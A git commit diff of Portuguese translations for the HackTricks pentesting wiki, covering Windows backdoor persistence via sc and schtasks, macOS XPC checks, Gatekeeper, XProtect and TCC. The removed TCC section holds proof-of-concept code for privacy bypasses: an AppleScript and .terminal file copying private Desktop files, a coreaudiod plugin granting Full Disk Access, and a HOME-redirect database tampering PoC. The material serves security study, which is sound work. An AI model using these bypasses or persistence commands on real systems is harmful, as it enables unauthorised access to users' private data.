Translated ['backdoors/salseo.md', 'macos-hardening/macos-security-and-p

This commit is contained in:
Translator 2023-06-13 16:46:31 +00:00
parent 238e87d311
commit 747a198afb
15 changed files with 467 additions and 299 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 160 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 160 KiB

View file

@ -170,6 +170,7 @@
* [macOS Office Sandbox Bypasses](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md)
* [macOS TCC](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md)
* [macOS Apple Scripts](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-scripts.md)
* [macOS TCC Bypasses](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses.md)
* [macOS Users](macos-hardening/macos-security-and-privilege-escalation/macos-users.md)
* [macOS Red Teaming](macos-hardening/macos-red-teaming/README.md)
* [macOS MDM](macos-hardening/macos-red-teaming/macos-mdm/README.md)

View file

@ -69,7 +69,7 @@ sc create MalwareService binPath= "C:\malware.exe" start= auto DisplayName= "Mal
O Agendador de Tarefas do Windows é uma ferramenta que permite agendar a execução de programas em horários específicos ou em resposta a eventos específicos. Uma técnica comum de backdoor é criar uma tarefa agendada que execute um programa malicioso sempre que o sistema é iniciado ou em horários específicos.
Para criar uma tarefa agendada, use o comando `schtasks.exe` no prompt de comando. Por exemplo, o seguinte comando cria uma tarefa agendada chamada `MalwareTask` que executa um programa chamado `malware.exe` sempre que o sistema é iniciado:
Para criar uma tarefa agendada, use o comando `schtasks /create` no prompt de comando. Por exemplo, o seguinte comando cria uma tarefa agendada chamada `MalwareTask` que executa um programa chamado `malware.exe` sempre que o sistema é iniciado:
```
schtasks /create /tn "MalwareTask" /tr "C:\malware.exe" /sc onstart /ru SYSTEM
@ -131,7 +131,7 @@ Abra o projeto SalseoLoader usando o Visual Studio.
#### **Ferramentas** --> **Gerenciador de Pacotes NuGet** --> **Gerenciar Pacotes NuGet para a Solução...**
![](<../.gitbook/assets/image (3) (1) (1) (1).png>)
![](<../.gitbook/assets/image (3) (1) (1) (1) (1).png>)
#### **Procure pelo pacote DllExport (usando a guia Procurar), e pressione Instalar (e aceite o popup)**
@ -151,7 +151,7 @@ Apenas **saia** do Visual Studio
Em seguida, vá para a sua pasta **SalseoLoader** e **execute DllExport\_Configure.bat**
Selecione **x64** (se você for usá-lo dentro de uma caixa x64, que foi o meu caso), selecione **System.Runtime.InteropServices** (dentro de **Namespace para DllExport**) e pressione **Aplicar**
Selecione **x64** (se você for usá-lo dentro de uma caixa x64, esse foi o meu caso), selecione **System.Runtime.InteropServices** (dentro de **Namespace para DllExport**) e pressione **Aplicar**
![](<../.gitbook/assets/image (7) (1) (1) (1).png>)
@ -163,7 +163,7 @@ Selecione **x64** (se você for usá-lo dentro de uma caixa x64, que foi o meu c
### Compile a solução
Selecione **Tipo de Saída = Biblioteca de Classes** (Projeto --> Propriedades do SalseoLoader --> Aplicativo --> Tipo de saída = Biblioteca de Classes)
Selecione **Tipo de Saída = Biblioteca de Classes** (Projeto --> Propriedades do SalseoLoader --> Aplicativo --> Tipo de Saída = Biblioteca de Classes)
![](<../.gitbook/assets/image (10) (1).png>)

View file

@ -4,7 +4,7 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -23,8 +23,8 @@ Quando uma conexão é estabelecida com um serviço XPC, o servidor verificará
3. Verificar se o processo de conexão **contém um ID de pacote apropriado**.
4. Verificar se o processo de conexão tem um **número de versão de software apropriado**.
* Se isso **não for verificado**, clientes antigos e inseguros, vulneráveis à injeção de processo, podem ser usados para se conectar ao serviço XPC, mesmo com as outras verificações em vigor.
5. Verificar se o processo de conexão tem uma **autorização** que permite se conectar ao serviço. Isso é aplicável para binários da Apple.
6. A **verificação** deve ser **baseada** no **token de auditoria do cliente de conexão** em vez de seu **ID de processo (PID)**, pois o primeiro impede ataques de reutilização de PID.
5. Verificar se o processo de conexão tem uma **autorização** que permite que ele se conecte ao serviço. Isso é aplicável para binários da Apple.
6. A **verificação** deve ser **baseada** no **token de auditoria do cliente conectado** em vez de seu **PID** (ID do processo), pois o primeiro impede ataques de reutilização de PID.
* Os desenvolvedores raramente usam a chamada de API de token de auditoria, pois ela é **privada**, então a Apple pode **alterá-la** a qualquer momento. Além disso, o uso de API privada não é permitido em aplicativos da Mac App Store.
Para obter mais informações sobre a verificação de ataque de reutilização de PID:
@ -33,9 +33,13 @@ Para obter mais informações sobre a verificação de ataque de reutilização
[macos-pid-reuse.md](macos-pid-reuse.md)
{% endcontent-ref %}
### Trustcache - Prevenção de Ataques de Downgrade
Trustcache é um método defensivo introduzido em máquinas Apple Silicon que armazena um banco de dados de CDHSAH de binários da Apple, para que apenas binários não modificados permitidos possam ser executados. Isso impede a execução de versões de downgrade.
### Exemplos de Código
O servidor implementará essa **verificação** em uma função chamada **`shouldAcceptNewConnection`**.
O servidor implementará esta **verificação** em uma função chamada **`shouldAcceptNewConnection`**.
```objectivec
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
//Check connection
@ -46,7 +50,7 @@ O servidor implementará essa **verificação** em uma função chamada **`shoul
O objeto NSXPCConnection tem uma propriedade **privada** chamada **`auditToken`** (a que deve ser usada, mas pode mudar) e uma propriedade **pública** chamada **`processIdentifier`** (a que não deve ser usada).
O processo de conexão pode ser verificado com algo como:
O processo de conexão pode ser verificado com algo como:
{% code overflow="wrap" %}
```objectivec
@ -64,7 +68,7 @@ NSString requirementString = @"anchor apple generic and identifier \"xyz.hacktri
SecRequirementCreateWithString(requirementString, kSecCSDefaultFlags, &requirementRef);
SecCodeCheckValidity(code, kSecCSDefaultFlags, requirementRef);
```
Se um desenvolvedor não quiser verificar a versão do cliente, ele poderia verificar se o cliente não é vulnerável à injeção de processo pelo menos:
Se um desenvolvedor não quiser verificar a versão do cliente, ele poderia verificar que o cliente não é vulnerável à injeção de processo pelo menos:
{% code overflow="wrap" %}
```objectivec

View file

@ -1,6 +1,6 @@
# Binários universais do macOS e Formato Mach-O
As binários do Mac OS geralmente são compilados como **binários universais**. Um **binário universal** pode **suportar várias arquiteturas no mesmo arquivo**.
Os binários do Mac OS geralmente são compilados como **binários universais**. Um **binário universal** pode **suportar várias arquiteturas no mesmo arquivo**.
Esses binários seguem a **estrutura Mach-O** que é basicamente composta por:
@ -181,7 +181,7 @@ Exemplo de **cabeçalho de seção**:
Se você **adicionar** o **deslocamento da seção** (0x37DC) + o **deslocamento** onde o **arquitetura começa**, neste caso `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
Também é possível obter **informações de cabeçalho** a partir da **linha de comando** com:
```bash
@ -200,12 +200,12 @@ Segmentos comuns carregados por este cmd:
* `__data`: Variáveis globais (que foram inicializadas)
* `__bss`: Variáveis estáticas (que não foram inicializadas)
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, etc): Informações usadas pelo tempo de execução do Objective-C
* **`__LINKEDIT`**: Contém informações para o linker (dyld) como, "símbolo, string e entradas de tabela de realocação."
* **`__LINKEDIT`**: Contém informações para o linker (dyld) como, "símbolo, string e entradas de tabela de realocação".
* **`__OBJC`**: Contém informações usadas pelo tempo de execução do Objective-C. Embora essas informações também possam ser encontradas no segmento \_\_DATA, dentro de várias seções \_\_objc\_\*.
### **`LC_MAIN`**
Contém o ponto de entrada no atributo **entryoff.** No momento do carregamento, **dyld** simplesmente **adiciona** esse valor à **base do binário na memória**, então **salta** para esta instrução para iniciar a execução do código binário.
Contém o ponto de entrada no atributo **entryoff**. No momento do carregamento, o **dyld** simplesmente **adiciona** esse valor à **base do binário na memória**, então **salta** para esta instrução para iniciar a execução do código binário.
### **LC\_CODE\_SIGNATURE**
@ -266,7 +266,7 @@ Os dados são basicamente a parte que contém todas as informações carregadas
Isso inclui:
* **Tabela de funções:** que contém informações sobre as funções do programa.
* **Tabela de símbolos**: que contém informações sobre as funções externas usadas pelo binário.
* **Tabela de símbolos**: que contém informações sobre as funções externas usadas pelo binário
* Também pode conter nomes de funções internas, variáveis e muito mais.
Para verificar, você pode usar a ferramenta [**Mach-O View**](https://sourceforge.net/projects/machoview/):

View file

@ -56,7 +56,7 @@ Na primeira instalação ou execução do software pelo usuário, a existência
### Arquivos em Quarentena
Ao **baixar** um aplicativo ou arquivo, aplicativos específicos do macOS, como navegadores da web ou clientes de e-mail, **anexam um atributo de arquivo estendido**, comumente conhecido como "**sinalizador de quarentena**", ao arquivo baixado. Este atributo atua como uma medida de segurança para **marcar o arquivo** como proveniente de uma fonte não confiável (a internet) e potencialmente carregando riscos. No entanto, nem todos os aplicativos anexam este atributo, por exemplo, o software comum de cliente BitTorrent geralmente ignora este processo.
Ao **baixar** um aplicativo ou arquivo, aplicativos específicos do macOS, como navegadores da web ou clientes de e-mail, **anexam um atributo de arquivo estendido**, comumente conhecido como "**sinalizador de quarentena**", ao arquivo baixado. Este atributo atua como uma medida de segurança para **marcar o arquivo** como proveniente de uma fonte não confiável (a internet) e potencialmente carregando riscos. No entanto, nem todos os aplicativos anexam este atributo, por exemplo, o software cliente BitTorrent comum geralmente ignora este processo.
**A presença de um sinalizador de quarentena sinaliza a funcionalidade de segurança do Gatekeeper do macOS quando um usuário tenta executar o arquivo**.
@ -115,13 +115,13 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
```
## XProtect
XProtect é um recurso **anti-malware** integrado no macOS. Ele faz parte do sistema de segurança da Apple que trabalha silenciosamente em segundo plano para manter seu Mac seguro contra malware conhecido e plug-ins maliciosos.
XProtect é um recurso **anti-malware** integrado no macOS. Ele faz parte do sistema de segurança da Apple que trabalha silenciosamente em segundo plano para manter seu Mac seguro contra malwares conhecidos e plug-ins maliciosos.
O XProtect funciona **verificando qualquer arquivo baixado em seu banco de dados** de malware conhecido e tipos de arquivo inseguros. Quando você baixa um arquivo por meio de determinados aplicativos, como Safari, Mail ou Mensagens, o XProtect verifica automaticamente o arquivo. Se ele corresponder a algum malware conhecido em seu banco de dados, o XProtect **impedirá que o arquivo seja executado** e o alertará sobre a ameaça.
O XProtect funciona **verificando qualquer arquivo baixado em seu banco de dados** de malwares conhecidos e tipos de arquivos inseguros. Quando você baixa um arquivo por meio de determinados aplicativos, como Safari, Mail ou Mensagens, o XProtect verifica automaticamente o arquivo. Se ele corresponder a algum malware conhecido em seu banco de dados, o XProtect **impedirá que o arquivo seja executado** e o alertará sobre a ameaça.
O banco de dados do XProtect é **atualizado regularmente** pela Apple com novas definições de malware, e essas atualizações são baixadas e instaladas automaticamente em seu Mac. Isso garante que o XProtect esteja sempre atualizado com as últimas ameaças conhecidas.
No entanto, vale ressaltar que o **XProtect não é uma solução antivírus completa**. Ele verifica apenas uma lista específica de ameaças conhecidas e não realiza a verificação de acesso como a maioria dos softwares antivírus. Portanto, embora o XProtect forneça uma camada de proteção contra malware conhecido, ainda é recomendável ter cuidado ao baixar arquivos da internet ou abrir anexos de e-mail.
No entanto, vale ressaltar que o **XProtect não é uma solução antivírus completa**. Ele verifica apenas uma lista específica de ameaças conhecidas e não realiza a verificação de acesso como a maioria dos softwares antivírus. Portanto, embora o XProtect forneça uma camada de proteção contra malwares conhecidos, ainda é recomendável ter cuidado ao baixar arquivos da internet ou abrir anexos de e-mail.
Você pode obter informações sobre a última atualização do XProtect em execução:
@ -140,7 +140,7 @@ Embora tanto o XProtect quanto o MRT façam parte das medidas de segurança do m
* **XProtect** é uma ferramenta preventiva. Ele **verifica arquivos conforme são baixados** (por meio de determinados aplicativos) e, se detectar algum tipo conhecido de malware, **impede que o arquivo seja aberto**, evitando assim que o malware infecte o sistema em primeiro lugar.
* **MRT**, por outro lado, é uma **ferramenta reativa**. Ele opera depois que o malware foi detectado em um sistema, com o objetivo de remover o software ofensivo para limpar o sistema.
## Limitantes de Processos
## Limitações de Processos
### SIP - Proteção de Integridade do Sistema
@ -150,7 +150,7 @@ Embora tanto o XProtect quanto o MRT façam parte das medidas de segurança do m
### Sandbox
O Sandbox do macOS **limita as aplicações** que rodam dentro do sandbox às **ações permitidas especificadas no perfil do Sandbox** com o qual o aplicativo está sendo executado. Isso ajuda a garantir que **a aplicação acesse apenas os recursos esperados**.
O Sandbox do macOS **limita as aplicações** que rodam dentro do sandbox às **ações permitidas especificadas no perfil do Sandbox** com o qual o aplicativo está sendo executado. Isso ajuda a garantir que **o aplicativo acesse apenas os recursos esperados**.
{% content-ref url="macos-sandbox/" %}
[macos-sandbox](macos-sandbox/)
@ -164,14 +164,15 @@ O Sandbox do macOS **limita as aplicações** que rodam dentro do sandbox às **
[macos-tcc](macos-tcc/)
{% endcontent-ref %}
<details>
## Cache de Confiança
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
O cache de confiança do macOS da Apple, às vezes também referido como cache AMFI (Integridade de Arquivo Móvel da Apple), é um mecanismo de segurança no macOS projetado para **impedir que software não autorizado ou malicioso seja executado**. Essencialmente, é uma lista de hashes criptográficos que o sistema operacional usa para **verificar a integridade e autenticidade do software**.
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Quando um aplicativo ou arquivo executável tenta ser executado no macOS, o sistema operacional verifica o cache de confiança AMFI. Se o **hash do arquivo for encontrado no cache de confiança**, o sistema **permite** que o programa seja executado porque o reconhece como confiável.
</details>
## Restrições de Lançamento
Ele controla de onde e o que pode lançar um binário assinado pela Apple:
* Você não pode lançar um aplicativo diretamente se ele deve ser executado pelo launchd
* Você não pode executar um aplicativo fora do local confiável (como /System/)

View file

@ -54,56 +54,24 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
{% tab title="macOS TCC" %}
# Proteções de segurança do macOS: Controle de Acesso ao TCC
O Controle de Acesso ao TCC (TCC, na sigla em inglês) é um recurso de segurança do macOS que controla o acesso de aplicativos a recursos protegidos, como a câmera, o microfone, a localização e os contatos. O TCC é implementado pelo daemon `tccd` e é gerenciado pelo `System Preferences`.
O Controle de Acesso ao TCC (TCC, na sigla em inglês) é um recurso de segurança do macOS que controla o acesso de aplicativos a recursos protegidos, como a câmera, o microfone, a localização e os contatos. O TCC é implementado pelo `tccd`, um daemon do sistema que é executado em segundo plano e gerencia as solicitações de acesso do aplicativo.
O TCC é uma parte importante do modelo de segurança do macOS, pois ajuda a proteger a privacidade do usuário e a impedir que aplicativos mal-intencionados acessem informações confidenciais. No entanto, o TCC não é perfeito e pode ser contornado por aplicativos mal-intencionados que exploram vulnerabilidades no sistema ou usam técnicas de engenharia social para enganar o usuário.
O TCC é uma parte importante do modelo de segurança do macOS, pois ajuda a proteger a privacidade do usuário e a impedir que aplicativos mal-intencionados acessem informações confidenciais. No entanto, o TCC não é infalível e pode ser contornado por aplicativos mal-intencionados que exploram vulnerabilidades no sistema ou usam técnicas de engenharia social para enganar o usuário.
Este diretório contém informações e ferramentas relacionadas ao TCC, incluindo:
- Uma visão geral do TCC e como ele funciona
- Uma lista de recursos protegidos pelo TCC
- Técnicas de escalonamento de privilégios que podem ser usadas para contornar o TCC
- Ferramentas para testar e explorar vulnerabilidades no TCC
## Recursos protegidos pelo TCC
O TCC protege o acesso a vários recursos do sistema, incluindo:
- Câmera
- Microfone
- Localização
- Contatos
- Calendário
- Lembretes
- Fotos
- Acesso completo ao disco
- Acesso a arquivos específicos do usuário
- Acesso a pastas específicas do usuário
- Acesso a APIs do AppleEvents
## Técnicas de escalonamento de privilégios
Embora o TCC seja uma proteção importante, ele não é perfeito e pode ser contornado por aplicativos mal-intencionados que exploram vulnerabilidades no sistema ou usam técnicas de engenharia social para enganar o usuário. Algumas técnicas de escalonamento de privilégios que podem ser usadas para contornar o TCC incluem:
- Explorando vulnerabilidades no sistema operacional
- Usando um aplicativo com permissões já concedidas
- Usando um aplicativo com um nome semelhante a um aplicativo confiável
- Usando um aplicativo que solicita permissões para um recurso diferente do que realmente precisa
- Usando um aplicativo que solicita permissões para um recurso que o usuário não percebe que está sendo usado
## Ferramentas para testar e explorar vulnerabilidades no TCC
Este diretório contém várias ferramentas que podem ser usadas para testar e explorar vulnerabilidades no TCC, incluindo:
- `tccutil.py`: uma ferramenta Python para gerenciar as permissões do TCC
- `tcc-extractor.py`: uma ferramenta Python para extrair informações do TCC
- `tcc-logger.py`: uma ferramenta Python para registrar eventos do TCC
- `tcc-sim.py`: uma ferramenta Python para simular eventos do TCC
- **tccutil.py**: uma ferramenta Python que permite visualizar e modificar as configurações do TCC.
- **tcc.db**: um arquivo SQLite que contém as configurações do TCC para cada usuário do sistema.
- **tcc_profiles.md**: uma lista de perfis TCC comuns e suas configurações padrão.
- **tcc_vulnerabilities.md**: uma lista de vulnerabilidades conhecidas do TCC e técnicas de contorno.
## Referências
- [Controle de Acesso ao TCC](https://developer.apple.com/documentation/security/tcc)
- [Proteções de segurança do macOS](https://support.apple.com/pt-br/guide/mac-help/secb602b9868/mac)
- [Proteções de segurança do macOS](https://support.apple.com/pt-br/guide/mac-help/sec14fef8a3b/mac)
- [Explorando o TCC para obter acesso a recursos protegidos no macOS](https://objective-see.com/blog/blog_0x4D.html)
- [Explorando o TCC para obter acesso a recursos protegidos no macOS: parte 2](https://objective-see.com/blog/blog_0x4E.html)
- [Explorando o TCC para obter acesso a recursos protegidos no macOS: parte 3](https://objective-see.com/blog/blog_0x4F.html)
```bash
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
@ -159,9 +127,9 @@ csreq -t -r /tmp/telegram_csreq.bin
### Entitlements
Os aplicativos **não apenas precisam** solicitar e ter sido **concedido acesso** a alguns recursos, eles também precisam **ter as permissões relevantes**.\
Por exemplo, o **Telegram** tem a permissão `com.apple.security.device.camera` para solicitar **acesso à câmera**. Um **aplicativo** que **não tem** essa **permissão não poderá** acessar a câmera (e o usuário nem mesmo será solicitado a conceder as permissões).
Por exemplo, o **Telegram** tem a permissão `com.apple.security.device.camera` para solicitar **acesso à câmera**. Um **aplicativo** que **não tenha** essa **permissão não poderá** acessar a câmera (e o usuário nem mesmo será solicitado a conceder as permissões).
No entanto, para que os aplicativos tenham **acesso a determinadas pastas do usuário**, como `~/Desktop`, `~/Downloads` e `~/Documents`, eles **não precisam** ter nenhuma **permissão específica**. O sistema lidará com o acesso de forma transparente e **solicitará permissão ao usuário** conforme necessário.
No entanto, para que os aplicativos tenham **acesso** a **certas pastas do usuário**, como `~/Desktop`, `~/Downloads` e `~/Documents`, eles **não precisam** ter nenhuma **permissão específica**. O sistema lidará com o acesso de forma transparente e **solicitará permissão ao usuário** conforme necessário.
Os aplicativos da Apple **não gerarão prompts**. Eles contêm **direitos pré-concedidos** em sua lista de **permissões**, o que significa que eles **nunca gerarão um pop-up**, **nem** aparecerão em nenhum dos **bancos de dados do TCC**. Por exemplo:
```bash
@ -200,221 +168,20 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
```
{% hint style="info" %}
É curioso que o atributo **`com.apple.macl`** seja gerenciado pelo **Sandbox**, não pelo tccd
É curioso que o atributo **`com.apple.macl`** seja gerenciado pelo **Sandbox**, e não pelo tccd
{% endhint %}
O atributo estendido `com.apple.macl` **não pode ser apagado** como outros atributos estendidos porque é **protegido pelo SIP**. No entanto, como [**explicado neste post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), é possível desabilitá-lo **compactando** o arquivo, **apagando-o** e **descompactando-o**.
## Bypasses
### Bypass de Escrita
Isso não é um bypass, é apenas como o TCC funciona: **Ele não protege contra escrita**. Se o Terminal **não tiver acesso para ler a Área de Trabalho de um usuário, ainda pode escrever nela**:
```shell-session
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
```
O **atributo estendido `com.apple.macl`** é adicionado ao novo **arquivo** para dar acesso ao aplicativo criador para lê-lo.
### Bypass SSH
Por padrão, o acesso via **SSH** terá **"Acesso total ao disco"**. Para desativar isso, você precisa tê-lo listado, mas desativado (removê-lo da lista não removerá esses privilégios):
![](<../../../../.gitbook/assets/image (569).png>)
Aqui você pode encontrar exemplos de como alguns **malwares conseguiram burlar essa proteção**:
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
### Bypass Electron
O código JS de um aplicativo Electron não é assinado, então um invasor poderia mover o aplicativo para um local gravável, injetar código JS malicioso e lançar esse aplicativo e abusar das permissões TCC.
O Electron está trabalhando na chave **`ElectronAsarIntegrity`** em Info.plist que conterá um hash do arquivo app.asar para verificar a integridade do código JS antes de executá-lo.
### Scripts do Terminal
É bastante comum dar ao terminal **Acesso total ao disco (FDA)**, pelo menos em computadores usados por pessoas de tecnologia. E é possível invocar scripts **`.terminal`** usando-o.
Os scripts **`.terminal`** são arquivos plist como este com o comando a ser executado na chave **`CommandString`**:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
```
Uma aplicação poderia escrever um script de terminal em um local como /tmp e executá-lo com um comando como:
```objectivec
// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];
```
### kTCCServiceAppleEvents / Automação
Um aplicativo com a permissão **`kTCCServiceAppleEvents`** será capaz de **controlar outros aplicativos**. Isso significa que ele poderá **abusar das permissões concedidas aos outros aplicativos**.
Para obter mais informações sobre Scripts da Apple, consulte:
{% content-ref url="macos-apple-scripts.md" %}
[macos-apple-scripts.md](macos-apple-scripts.md)
{% endcontent-ref %}
Por exemplo, se um aplicativo tiver **permissão de Automação sobre o `iTerm`**, como neste exemplo em que o **`Terminal`** tem acesso ao iTerm:
<figure><img src="../../../../.gitbook/assets/image (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
#### Sobre o iTerm
O Terminal, que não tem FDA, pode chamar o iTerm, que tem, e usá-lo para executar ações:
{% code title="iterm.script" %}
```applescript
tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell
```
{% endcode %}
```bash
osascript iterm.script
```
#### Sobre o Finder
Ou se um aplicativo tem acesso sobre o Finder, ele pode ter um script como este:
```applescript
set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)
```
### Abuso de Processo
Se você conseguir **injetar código em um processo**, poderá abusar das permissões do TCC desse processo.
Verifique as técnicas de abuso de processo na seguinte página:
{% content-ref url="../../macos-proces-abuse/" %}
[macos-proces-abuse](../../macos-proces-abuse/)
{% endcontent-ref %}
Veja alguns exemplos nas seguintes seções:
### CVE-2020-29621 - Coreaudiod
O binário **`/usr/sbin/coreaudiod`** tinha as permissões `com.apple.security.cs.disable-library-validation` e `com.apple.private.tcc.manager`. O primeiro **permite a injeção de código** e o segundo dá acesso para **gerenciar o TCC**.
Este binário permitia carregar **plug-ins de terceiros** da pasta `/Library/Audio/Plug-Ins/HAL`. Portanto, era possível **carregar um plug-in e abusar das permissões do TCC** com este PoC:
```objectivec
#import <Foundation/Foundation.h>
#import <Security/Security.h>
extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);
void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");
CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);
TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}
__attribute__((constructor)) static void constructor(int argc, const char **argv) {
add_tcc_entry();
NSLog(@"[+] Exploitation finished...");
exit(0);
```
### CVE-20209934 - TCC <a href="#c19b" id="c19b"></a>
O daemon **tccd** do usuário está usando a variável de ambiente **`HOME`** para acessar o banco de dados de usuários do TCC em: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
De acordo com [esta postagem do Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) e porque o daemon TCC está sendo executado via `launchd` dentro do domínio do usuário atual, é possível **controlar todas as variáveis de ambiente** passadas para ele.\
Assim, um **atacante poderia definir a variável de ambiente `$HOME`** em **`launchctl`** para apontar para um **diretório controlado**, **reiniciar** o **daemon TCC**, e então **modificar diretamente o banco de dados do TCC** para dar a si mesmo **todas as permissões do TCC disponíveis** sem nunca solicitar ao usuário final.\
PoC:
```bash
# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
